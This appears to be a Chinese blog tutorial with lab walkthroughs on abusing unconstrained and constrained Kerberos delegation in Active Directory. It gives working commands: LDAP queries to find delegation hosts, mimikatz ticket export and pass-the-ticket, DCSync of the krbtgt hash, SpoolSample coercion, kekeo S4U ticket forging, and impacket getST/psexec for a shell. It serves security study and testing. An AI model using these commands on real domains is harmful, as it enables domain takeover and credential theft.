文章目录

  • 1. 前言
  • 2. 发现具有委派关系的用户和计算机
    • 2.1 原理
    • 2.2 利用工具查找
      • 1. ADFind
        • 1.查询非约束委派的主机:
        • 2.查询约束委派的主机
      • 2. ldapsearch
        • 1. 查询非约束性委派的机器
        • 2.查询约束性委派机器
      • 3. powerview
        • 1.查询非约束性委派的机器
        • 2.查询约束性委派机器
  • 3.非约束性委派的利用
    • 3.1 原理
    • 3.2 实验过程
    • 3.3 利用思路
    • 3.4 非约束委派+Spooler打印机服务
      • 3.4.1 原理
      • 3.4.2 开始实验
  • 4. 约束性委派的利用
    • 4.1 原理
    • 4.2 实验过程
      • 方法1
      • 方法2
      • 方法3
  • 参考文章

1. 前言

委派是域中的一种安全设置,可以允许某个机器上的服务代表某个用户去执行某个操作,主要分为三种:

  1. 非约束性委派
  2. 约束性委派
  3. 基于资源的约束性委派
    这篇文章主要对这三种委派方式相关的攻击方式进行总结。
    关于委派的其他细节理解可以参看windows中关于委派(delegation)的理解。

2. 发现具有委派关系的用户和计算机

2.1 原理

首先我们需要知道

  1. 当服务账号或者主机被设置为非约束性委派时,其userAccountControl属性会包含TRUSTED_FOR_DELEGATION

  2. 当服务账号或者主机被设置为约束性委派时,其userAccountControl属性包含TRUSTED_TO_AUTH_FOR_DELEGATION,且msDS-AllowedToDelegateTo属性会包含被约束的服务


2.2 利用工具查找

1. ADFind

不需要账号密码即可查询

1.查询非约束委派的主机:

AdFind.exe -b "DC=test,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

当samAccountType=805306368的时候,是对账号进行查询。

2.查询约束委派的主机

AdFind.exe -b "DC=test,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto


2. ldapsearch

需要域内任意用户的账号密码

1. 查询非约束性委派的机器

ldapsearch -LLL -x -H ldap://192.168.124.142:389 -D "administrator@test.com" -w "123"   -b dc=test,dc=com  "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

2.查询约束性委派机器

ldapsearch -LLL -x -H ldap://192.168.124.142:389 -D "administrator@test.com" -w "123"   -b dc=test,dc=com  "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto


ldapsearch的详细用法可看:ldap相关知识与攻击方式

3. powerview

1.查询非约束性委派的机器

Get-NetComputer -Unconstrained -Domain test.com | select cn

2.查询约束性委派机器

Get-DomainComputer -TrustedToAuth -Domain test.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto

3.非约束性委派的利用

3.1 原理

当某台主机访问了配置了非约束性委派当主机的时候,就会将自己当可转发当tgt发送到配置了非约束性委派当主机上。这时候我们就萌生出一种攻击手法,诱导域管账号访问我们的被配置了非约束委派的主机,认证方式无论是kerberos还是ntlm都可以,这样子我们就拥有了域管的TGT,可以生成黄金票据。

域控主机账户默认开启非约束委派

我们以管理员身份通过winrm quickconfig可以打开普通主机上的winrm服务,而server2008之后,所有的server主机默认会开启这个服务。

当其他主机访问配置了非约束性委派主机上的winrm服务的时候,就会将TGT与这个TGT中存储的session key缓存到这个主机上。

必须有tgt跟tgt中的session key才能进行后续的kerberos认证。

这里给大家一张微软官方的图片方便大家理解:

现在假设这么一种情形,service1配置了非约束性委派,用户A需要委派service1来访问service2。这个service1可以是主机账户。

那么非约束性委派的过程可以大概理解为:

  1. 用户A向KDC申请一张可转发的用户A自己的TGT与访问service1需要的ticket。
  2. 用户A将第一步得到的ticket与可转发的tgt与tgt中的session key一起发送给了service1.
  3. service1使用那张tgt与session key来代表用户A行使后续操作例如访问service2.

3.2 实验过程

已有资产:

主机名 ip 权限
yukong 192.168.124.142 域控
zhangsan 192.168.124.2 普通域内机器(配置了非约束性委派)
lisi 192.168.124.3 普通域内机器(配置了约束性委派)
  1. 首先在zhangsan的机器上开启winrm服务,开启后查看zhangsan主机上的票据,发现只有zhangsan的票据:

  2. 在yuknog主机上利用 Enter-PSSession -ComputerName zhangsan命令连接到zhangsan,此时域控上登陆的用户为域管administrator:

    通过查询IP发现当前shell的IP变成了zhangsan机器的IP,可以理解成yukong委派zhangsan代表自己在对zhangsan进行操作

  3. 登陆zhangsan机器导出域管TGT
    使用管理员权限的shell打开mimikatz执行sekurlsa::tickets /export命令即可导出所有凭据,别忘记提权mimikatz,下图方框中的文件就是域管的TGT。

  4. 使用域管的凭据获得域管的权限
    首先我们进行DCsync读取一下密码:


发现是失败的。
这时候我们使用刚才得到的域管的凭据:

kerberos::ptt [0;27e615]-2-0-60a10000-Administrator@krbtgt-TEST.COM.kirbi


发现可以访问域控机器上的C盘文件:

读取krbtgt的hash也可以成功:
lsadump::dcsync /domain:test.com /user:krbtgt

3.3 利用思路

  1. 先通过ldapsearch或者adfind或者powerview查询域内配置了非约束性委派的机器。
  2. 那下目标机器权限。
  3. 诱导域管对我们这台机器进行委派(通过使用钓鱼或者打印机哪个漏洞)。
  4. 拿到域管的TGT
  5. over

3.4 非约束委派+Spooler打印机服务

3.4.1 原理

利用Windows打印系统远程协议(MS-RPRN)的一个漏洞,可以使得开启了spooler服务的主机强制对一个攻击者指定的主机进行kerberos或者NTLM认证。

3.4.2 开始实验

  1. 确定yukong主机开启spooler服务。

  2. 在zhangsan上使用exp来强制yukong访问zhangsan的spooler服务,进而获得yukong主机的tgt,使用方法spoolsample.exe yukong zhangsan,可以强制yukong访问zhangsan。下载地址:https://github.com/shanfenglan/test/tree/master/spooler

  3. 得到使用mimikatz得到域控主机账户的tgt并倒入到内存中

    kerberos::ptt 1.kirbi

  4. 获取域管权限可以读取krbtgt的hash
    lsadump::dcsync /domain:test.com /user:krbtgt

    切记:一定要使用普通管理员的权限(不用绕过UAC)来执行spoolsample.exe yukong zhangsan这个命令,只有这样才能导出域控主机账户的tgt。

4. 约束性委派的利用

4.1 原理

非约束性委派被委派的机器会直接得到发布委派的用户的TGT,是十分不安全的,因此微软推出了约束性委派,还扩充kerberos协议,添加了s4u2self与s4u2proxy协议,以增加安全性。这两个协议的具体细节可以查看:windows中关于委派(delegation)的理解这篇文章。下面我简述一下约束性委派的过程,假设有这么一种情况,用户A委派service1去访问service2,那么大概的访问过程如下:

  1. 用户A访问service1。
  2. service1通过s4u2self协议代表用户A去请求一个可以访问service1自身的可转发的ticket,这个ticket代表域控授权service1可以以用户A的身份进行操作。
  3. service1以用户A的身份访问KDC请求一个访问service2的可转发的ticket
  4. service1获取到ticket并以用户A的名义访问service2。

第一个ticket表示域控授权service1代表用户A来访问service1,第二个ticket代表域控授权service1代表用户来访问service2。总的来说s4u2self解决的问题就是,确定了某台主机可以代表某用户来对自己进行操作。s4u2proxy解决的问题是确定了某台主机可以代表某用户对其他主机进行操作。

综上所述,对约束性委派利用对核心就是获得可转发的ticket票据。获取根据约束性委派的执行过程可知,只要控制配置约束性委派服务的机器,并获得了它的密码,那么我们就可以劫持这台主机的kerberos请求过程,最终获得任意用户权限的ticket票据,这一行为可通过kekeo完成。

4.2 实验过程


补充:windows创建服务账号的方式

windows注册服务账户(域控才可以) setspn -u -s host/wangmazi wangmazi

setspn -u lisi #可以查询lisi的spn

如果权限不够就会报错:

创建好后就可以给账号配置约束性委派了:


已有资产:

主机名/用户 ip 权限
yukong 192.168.124.142 域控
zhangsan 192.168.124.2 普通域内机器(配置了非约束性委派)
lisi 192.168.124.3 普通域内机器(对zhangsan的cifs服务配置了约束性委派)

方法1

  1. 首先查询域内配置了约束性委派的服务账号。
Get-DomainUser -TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto| fl

  1. 首先我们需要申请一张lisi的tgt票据,这个票据后面可用来申请可转发的ticket
    先通过mimikatz找到配置了约束性委派的主机的主机账户的密码hash:
    sekurlsa::logonpasswords

    打开kekeo,执行如下命令生成一个TGT:

    tgt::ask /user:lisi$ /domain:test.com /NTLM:497114015b3695d77441431ae90b78e3
    
  2. 我们使用这张tgt来伪造请求得到一个administrator权限的ticket:

    tgs::s4u /tgt:2.kirbi /user:Administrator@test.com /service:cifs/zhangsan.test.com
    

  3. 将得到的ticket导入到内存:
    打开mimikatz先privilege::Debug然后执行下面命令:

    kerberos::ptt 555.kirbi
    
  4. 访问zhangsan的cifs服务看是否成功:

    dir \\zhangsan\c$
    


方法2

也可以使用mimikatz直接导出lisi的tgt然后使用kekeo工具执行tgs::s4u:
先使用sekurlsa::tickets /export导出票据,使用机器账户LISI$的票据

tgs::s4u /tgt:[0;3e7]-2-1-40e10000-LISI$@krbtgt-TEST.COM.kirbi /user:Administrator@test.com /service:cifs/zhangsan.test.com


出现红框所示才算成功,这时候kekeo当前路径下会出现administrator的ticket(用于访问zhangsan的CIFS服务),导入这个tiket即可访问zhangsan的cifs服务:

  • 新出现的ticket:
  • 将ticket导入内存,导入第二个名字很长的那个:
    kerberos::ptt 333.kirbi

导入前访问zhangsan的c$:

  • 导入ticket后访问zhangsan的文件共享:
    dir \\zhangsan.test.com\c$

方法3

这种方法可以直接拿shell,但我想不通原理:

python getST.py -dc-ip 192.168.124.142 -spn cifs/zhangsan -impersonate administrator test.com/lisi$ -hash :497114015b3695d77441431ae90b78e3
set KRB5CCNAME=administrator.ccache
python psexec.py -no-pass -k zhangsan

补充:如果实验的时候发现s4u2proxy阶段失败但是s4u2self阶段成功,且已经配置了约束性委派,那么失败的原因有可能是身份验证的方式选择了只支持kerberos验证。只要更换成“使用任何身份验证协议”即可,如下图:

参考文章

渗透技巧——Windows Token九种权限的利用
By七友的文章
Windows内网协议学习Kerberos篇之TGSREQ& TGSREP
域渗透——Kerberos委派攻击
域渗透——基于资源的约束委派利用
CVE-2019-1040利用 - 结合RCE和Domain Admin的重放漏洞
微软不认的“0day”之域内本地提权-烂番茄(Rotten Tomato)


补充的一些问题:

  1. 约束性委派中最终其作用的是那张可转发的TICKET,这张ticket与kerberos认证中的ticket除了可转发性其余一样吗?

    一样的,本质走的都是kerberos协议。

  2. 约束性委派s4u2proxy中除了需要导入s4u2self得到的可转发的ticket外还需不需要导入被委派主机的tgt?

    不需要。

基于windows中委派的攻击思路(上)-约束性委派与非约束性委派相关推荐

  1. 基于windows中委派的攻击思路(下)-基于资源的约束性委派

    文章目录 1. 前言 2. 技术点 2.1 利用原理: 那么如何获得一个机器账户呢? 如何获得一个有权利修改msDS-AllowedToActOnBehalfOfOtherIdentity? 3. 利 ...

  2. windows中Oracle服务连接不上错误排查及解决方法-实用

    windows下Oracle连接不上问题排查思路 外部连接工具plsql,Navicat无法访问oracle数据库服务的排查思路 查看所访问oracle服务的所在服务器能否ping通,oracle服务 ...

  3. windows中虚拟网卡装不上

    当windows中虚拟网卡不见的时候 1.一般可以进入虚拟机中的 编辑>虚拟网络编辑器>勾选 将逐句虚拟适配器连接到此网络 2.当勾选,点确定后,发现勾选不上,并且在windows中的设备 ...

  4. 聊聊护网中常见钓鱼攻击思路

    每日一句:HW中,红队.蓝队都会很累.没有说哪个会更强一些,毕竟道高一尺魔高一丈. 一.网络钓鱼 01.一些简介~钓鱼属于社会工程学~在18年的红蓝对抗还不怎么常见,~在19年的时候就比较泛滥了02. ...

  5. 在基于Windows系统的PHP虚拟主机上实现域名的301永久重定向

    作者:荒原之梦 原文链接:http://zhaokaifeng.com/?p=581 操作背景: 当网站在更换或添加域名.进行网址规范化或删除旧页面时,出于对用户使用体验和搜索引擎优化方面的考虑就需要 ...

  6. 学习过程中遇到的一些电脑上的小BUG,非学习问题,实时更新

    1.电脑桌面上有一个"关闭"字样的的小方框解决方法 电脑桌面上莫名出现有个"关闭"字样的小方框按钮,但无论怎么点击他都没有反应,而且会存在在各个页面上方 ,看着 ...

  7. windows中关于委派(delegation)的理解

    CATALOG 1.前言 2.什么是委派 2.1 前置知识 2.1.1 S4U2SELF 2.1.1.1 用途 2.1.1.2 细节 2.1.1.3 延伸 2.1.2 S4U2PROXY 2.1.2. ...

  8. 域安全|非约束委派攻击 Exchange 2013的安装

    作者: 0xYyy 免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责. 写在前面 此文章其实可以分为两篇,只不过为了让大家更好的在本地测试的情况下,堪称保姆级别指导来安装exch ...

  9. Kerberos 域委派攻击之非约束性委派

    CSDN文章自动迁移自博客 在Windows 2000 Server 首次发布 Active Directory 时,Microsoft 必须提供一种简单的机制来支持用户通过 Kerberos 向 W ...

最新文章

  1. 2_Python实现基于人脸特征的美颜算法(20181224)
  2. 【DBMS 数据库管理系统】数据库 -> 数据仓库 ( 数据处理类型 | 传统数据库 | 数据库不适用于分析型应用 )
  3. Python爬虫入门教程石家庄链家租房数据抓取
  4. QT | QT MSVC 2015 + VS 2015开发环境配置及GIT设置
  5. .NET Core 微服务之Polly熔断策略
  6. java 注册驱动失败_java – JDBC驱动程序注册死锁?
  7. Haiku OS 的黎明
  8. 使用MyEclipse开发Java EE应用:用XDoclet创建EJB 2 Session Bean项目(二)
  9. oracle rman optimization,关于RMAN中的优化(Optimization)
  10. prometheus.yml 配置文件参数详解
  11. Axure RP 9的安装与汉化
  12. 【oracle】varchar和varchar2区别
  13. 基于Linux利用PPP实现4G模块联网
  14. 西南科技大学城市学院计算机专业录取分数线,西南科技大学城市学院2020年录取分数线(附2017-2020年分数线)...
  15. Linux 内核引导选项简介
  16. 软件测试三分钟自我介绍
  17. java实现Word文档(doc、docx)在线查看功能(前台+后台)
  18. android 播放提示音,[转载]android播放音效例子 (翻页音效、警报音效通用
  19. mysql5.045_Microsoft SQL Server数据库各版本下载地址集合
  20. boot的时候无法进入BIOS,无法使用键盘

热门文章

  1. sklearn中的model_selection
  2. Python将png、jpg图片转为EPS矢量格式图片
  3. 关于主外键关系主表子表插入 或者更新
  4. python爬虫加数据可视化软件_Python 爬虫 数据分析 可视化
  5. 驱动器使用 —— DS402状态切换(个人笔记)
  6. matlab实时动态绘图clc,Matlab绘制动态 .gif 图
  7. 2022湖南最新通信施工安全员模拟考试试题及答案
  8. PMP报考时间一般都是什么时候?
  9. 原来地图支持AR导航
  10. 【华中科技大学软件学院】19级停止招生??